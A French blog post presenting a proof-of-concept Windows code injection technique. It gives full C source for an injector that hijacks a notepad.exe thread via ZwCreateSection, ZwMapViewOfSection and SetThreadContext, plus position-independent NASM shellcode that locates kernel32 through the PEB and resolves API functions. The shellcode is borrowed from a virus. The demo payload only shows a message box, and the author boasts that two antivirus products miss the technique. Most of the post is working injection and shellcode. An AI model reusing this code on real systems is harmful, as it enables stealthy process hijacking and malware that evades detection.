En regardant un peu le code de ntdll on voit que cette fonction est quasiment toujours appelée avec le pseudo handle correspondant au processus courant sauf pour les fonctions Rtl[...]Debug[...] (à creuser d'ailleur ...)

Bizarement je n'ai pas trouvé de texte ou de code sur ce sujet (je n'ai pas vraiment cherché non plus) et je n'avais pas vraiment prévu de coder un poc.

C'est en "discutant" avec ivanlef0u (comprendre gueuler chacun de notre coté en insultant l'autre) qu'il m'a convaincu de coder un pitit poc ("ba vas y fais le alors et fais pas chier ! j'vais matter un film, si dans 2h s'pas fini je te kb à vie du chan !" [ndbaboon] ba ouai il est vulgaire ivan [/ndbaboon] )

bref j'ai donc codé dans la nuit un petit poc qui fonctionne de façon relativement simple :

  1. Ouverture d'un handle sur le processus et une de ses thread
  2. mise en pause de la thread
  3. récupération de son context, écriture de son EIP dans le fichier qui va être injecté
  4. Création d'une section à l'aide des API CreateFile et ZwCreateSection
  5. mapping de la section dans le processus cible grâce au handle sur le processus et à l'API ZwMapViewOfSection
  6. détournement du flux de code grâce à l'API SetThreadContext et reprise de l'éxecution de la thread

Il y a néanmoin quelques contraintes, le code ainsi injecté le sera dans une page sans droit d'écriture, il faut donc que le shellcode utilise des variables locales et bien sur qu'il ne soit pas dépendant de l'endroit où il est injecté (call .delta / .delta: / pop reg / sub reg , .delta est ton ami)

code de l'injecteur (ouai je sais je ferme pas tout mes handles ...) :

  1. #include <windows.h>
  2. #include <Tlhelp32.h>
  3.  
  4. #define NTSTATUS long
  5. #define STATUS_SUCCESS 0
  6. #define ViewUnmap 2
  7.  
  8. DWORD GetProcessIdByName(char* name,PDWORD TID)
  9. {
  10. HANDLE ths = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  11. PROCESSENTRY32 ProcessEntry;
  12. THREADENTRY32 ThreadEntry;
  13.  
  14. if (ths == INVALID_HANDLE_VALUE)
  15. {
  16. CloseHandle(ths);
  17. return -1;
  18. }
  19.  
  20. ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
  21. ThreadEntry.dwSize = sizeof(THREADENTRY32);
  22. Process32First(ths,&ProcessEntry);
  23. do {
  24. if (strcmp(ProcessEntry.szExeFile,name) == 0)
  25. {
  26. CloseHandle(ths);
  27. ths = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
  28. Thread32First(ths,&ThreadEntry);
  29. do {
  30. if (ProcessEntry.th32ProcessID == ThreadEntry.th32OwnerProcessID)
  31. {
  32. CloseHandle(ths);
  33. *TID = ThreadEntry.th32ThreadID;
  34. return ProcessEntry.th32ProcessID;
  35. }
  36. } while (Thread32Next(ths,&ThreadEntry));
  37. CloseHandle(ths);
  38. return -1;
  39. }
  40. } while (Process32Next(ths,&ProcessEntry));
  41.  
  42. CloseHandle(ths);
  43. return -1;
  44. }
  45.  
  46.  
  47. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  48. {
  49. NTSTATUS (__stdcall *ZwMapViewOfSection) (
  50. HANDLE SectionHandle,
  51. HANDLE ProcessHandle,
  52. OUT PVOID *BaseAddress,
  53. ULONG_PTR ZeroBits,
  54. SIZE_T CommitSize,
  55. PLARGE_INTEGER SectionOffset,
  56. PSIZE_T ViewSize,
  57. DWORD InheritDisposition,
  58. ULONG AllocationType,
  59. ULONG Win32Protect
  60. );
  61.  
  62.  
  63. NTSTATUS (__stdcall *ZwCreateSection)(
  64. PHANDLE SectionHandle,
  65. ACCESS_MASK DesiredAccess,
  66. PDWORD ObjectAttributes OPTIONAL,
  67. PLARGE_INTEGER MaximumSize OPTIONAL,
  68. ULONG SectionPageProtection,
  69. ULONG AllocationAttributes,
  70. HANDLE FileHandle OPTIONAL
  71. );
  72.  
  73. HANDLE hSection;
  74. HANDLE hFile;
  75. DWORD TID;
  76. DWORD PID;
  77. HANDLE hProcess;
  78. HANDLE hThread;
  79. PVOID BaseAddress = NULL;
  80. SIZE_T ViewSize = 0;
  81. CONTEXT context;
  82. DWORD nbBytesWritten;
  83.  
  84. ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection");
  85.  
  86. ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection");
  87.  
  88. if ((! ZwMapViewOfSection) || (! ZwCreateSection))
  89. {
  90. MessageBoxA(NULL,"GetProcAddress FAIL","ARZOOOOO",0);
  91. return 0;
  92. }
  93.  
  94. if ((PID = GetProcessIdByName("notepad.exe",&TID)) == -1)
  95. {
  96. MessageBoxA(NULL,"GetProcessIdByName FAIL","ARZOOOOO",0);
  97. return 0;
  98. }
  99.  
  100. if ((hThread = OpenThread(THREAD_SET_CONTEXT|THREAD_GET_CONTEXT|THREAD_SUSPEND_RESUME,FALSE,TID)) == 0)
  101. {
  102. MessageBoxA(NULL,"OpenThread FAIL","ARZOOOOO",0);
  103. return 0;
  104. }
  105. SuspendThread(hThread);
  106. context.ContextFlags = CONTEXT_FULL;
  107. GetThreadContext(hThread,&context);
  108.  
  109. if ((hFile = CreateFileA("lolilol",(GENERIC_READ | GENERIC_WRITE),FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_ALWAYS,0,NULL)) == INVALID_HANDLE_VALUE)
  110. {
  111. MessageBoxA(NULL,"CreateFile FAIL","ARZOOOOO",0);
  112. return 0;
  113. }
  114.  
  115. if ((!WriteFile(hFile,&context.Eip,4,&nbBytesWritten,NULL)) || (nbBytesWritten != 4))
  116. {
  117. MessageBoxA(NULL,"WriteFile FAIL","ARZOOOOO",0);
  118. return 0;
  119. }
  120.  
  121. CloseHandle(hFile);
  122.  
  123. if ((hFile = CreateFileA("lolilol",0x100020,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_ALWAYS,0,NULL)) == INVALID_HANDLE_VALUE)
  124. {
  125. MessageBoxA(NULL,"CreateFile FAIL","ARZOOOOO",0);
  126. return 0;
  127. }
  128.  
  129. if (ZwCreateSection(&hSection,0xE,NULL,NULL,0x10,0x8000000,hFile) != STATUS_SUCCESS)
  130. {
  131. MessageBoxA(NULL,"ZwCreateSection FAIL","ARZOOOOO",0);
  132. return 0;
  133. }
  134.  
  135. if ((hProcess = OpenProcess(PROCESS_VM_OPERATION,FALSE,PID)) == NULL)
  136. {
  137. MessageBoxA(NULL,"OpenProcess FAIL","ARZOOOOO",0);
  138. return 0;
  139. }
  140.  
  141. if (ZwMapViewOfSection(hSection,hProcess,&BaseAddress,(ULONG_PTR)NULL,0,NULL,&ViewSize,ViewUnmap,0,0x10) != STATUS_SUCCESS)
  142. {
  143. MessageBoxA(NULL,"ZwMapViewOfSection FAIL","ARZOOOOO",0);
  144. return 0;
  145. }
  146.  
  147. context.Eip = ((DWORD)BaseAddress) + 4;
  148. SetThreadContext(hThread,&context);
  149. ResumeThread(hThread);
  150. return 0;
  151. }

code de la payload en NASM assemblé en .bin (TRES largement pompée sur le code de Silma pour son win32.larva) :

  1. BITS 32
  2. OriginalEip dd 0
  3. push edi
  4. call delta
  5. delta:
  6. pop edi
  7. sub edi, delta
  8. push DWORD [OriginalEip+edi]
  9. xchg edi , [esp]
  10. xchg edi , [esp+4]
  11. xchg edi , [esp]
  12. pushfd
  13. pushad
  14.  
  15. ;--------------------------------------+---------------------------------------+
  16. ;______________________________FIND KERNEL32 ADDRESS___________________________|
  17. ;--------------------------------------+---------------------------------------+
  18. ; address 0x30 of the TEB contains
  19.  
  20. mov ebp , esp
  21. sub esp , 3*4
  22. %define _KernelAddr ebp-4
  23. %define _GetProcAddress ebp-8
  24. %define KernelType ebp-12
  25.  
  26. mov eax, [fs:30h] ; a pointer to the PEB.
  27. test eax, eax ; this pointer is signed on 9x kernel,
  28. js Kernel_9x ; and is unsigned on NT kernel.
  29.  
  30. Kernel_NT:
  31. mov eax, [eax+00Ch] ; to an internal strucure called _PEB_LDR_DATA
  32. mov esi, [eax+01Ch] ; esi=InInitialisationOrderModuleList
  33. lodsd ; eax=Foward Link of kernel32
  34. mov eax, [eax+08h] ; eax=kernel32 image_base
  35. inc byte [KernelType] ;identify the kernel type: 1=NT;0=9x
  36. jmp FindKernel32_end
  37.  
  38. Kernel_9x:
  39. mov eax, [eax+034h] ; to a HeapHandle table
  40. mov eax, [eax+0B8h] ; eax=kernel32 image base
  41. and byte [KernelType],0 ;type=0
  42.  
  43. FindKernel32_end:
  44. mov dword [_KernelAddr], eax
  45.  
  46. ;--------------------------------------+---------------------------------------+
  47. ;_____________________________RETRIEVE GETPROCADDRESS__________________________|
  48. ;--------------------------------------+---------------------------------------+
  49. mov edx, dword [_KernelAddr] ;edx=K32 image base
  50. mov eax, dword [eax+03Ch] ;eax=PE signature
  51. mov edx, dword [edx+eax+78h] ;edx=export table RVA
  52. add edx, [_KernelAddr] ;edx=export VA
  53.  
  54. mov ecx, dword [edx+18h] ;ecx=number of exports (exports "by name")
  55. mov ebx, dword [edx+20h] ;ebx=name RVA
  56. add ebx, dword [_KernelAddr] ;ebx=name VA
  57. push edi
  58. FindGPA_loop:
  59. pop edi
  60. jecxz Find_GPA_end ;if ecx=0, no match so we exit
  61. dec ecx ;dec ecx till we find GPA
  62. mov esi, [ebx+ecx*4] ;esi=function name RVA
  63. add esi, dword [_KernelAddr] ;esi=function name
  64.  
  65. push edi
  66. lea edi, [edi+@name] ;edi=the name we want
  67. __1:
  68. cmpsb ;cmp byte after byte
  69. jnz FindGPA_loop ;different byte means "test the previous export"
  70. cmp byte [edi], 0 ;have we reached the end of the string?
  71. je __2 ;yes: find its address
  72. jmp __1 ;no: test next bytes
  73. __2:
  74. pop edi
  75. mov ebx, [edx+024h] ;ebx=ordinal table RVA
  76. add ebx, dword [_KernelAddr] ;ebx=ordinal table VA
  77.  
  78. mov cx, [ebx+ecx*2] ;cx=ordinal of GetProcAddress
  79. mov ebx, [edx + 01ch] ;ebx=address table RVA
  80. add ebx, dword [_KernelAddr] ;ebx=address table VA
  81.  
  82. mov eax, [ebx+ecx*4] ;eax=GetProcAddress RVA
  83. add eax, dword [_KernelAddr] ;eax=address of GetProcAddress
  84. mov dword [_GetProcAddress],eax ;store it
  85. Find_GPA_end:
  86.  
  87. lea ecx , [LoadLibStr + edi]
  88. push ecx
  89. push dword [_KernelAddr]
  90. call [_GetProcAddress]
  91. lea ecx , [User32Str + edi]
  92. push ecx
  93. call eax
  94. lea ecx , [MessageBoxStr + edi]
  95. push ecx
  96. push eax
  97. call dword [_GetProcAddress]
  98. push 0
  99. lea ecx , [titlestr + edi]
  100. push ecx
  101. lea ecx , [mess + edi]
  102. push ecx
  103. push 0
  104. call eax
  105. add esp , 3*4
  106. popad
  107. popfd
  108. pop edi
  109. retn
  110.  
  111. @name db "GetProcAddress",0
  112. LoadLibStr db "LoadLibraryA",0
  113. User32Str db "user32.dll",0
  114. MessageBoxStr db "MessageBoxA",0
  115. titlestr db "inject-lolz !",0
  116. mess db "Yé souis diabolique !!!!",0

les binaires sont ICI, pour les tester il vous faut lancer notepad puis ZwMapLolzSection.exe, une zoulie pitite message box "Yé souis diabolique !!!!" devrait apparaitre ;)

Pour finir cette technique d'injection n'a pas été détectée par Kaspersky Internet Security 2010 ni par nod32 (merci 0vercl0k[]) mais devrait l'être étant donné la simplicité de la méthode ...

J'ai un peu la flemme de dévelloper un peu plus mon post donc si vous avez des questions : mon_super_pseudo [patat-at] lyua [pouin] org ou laissez moi un pitit commentaire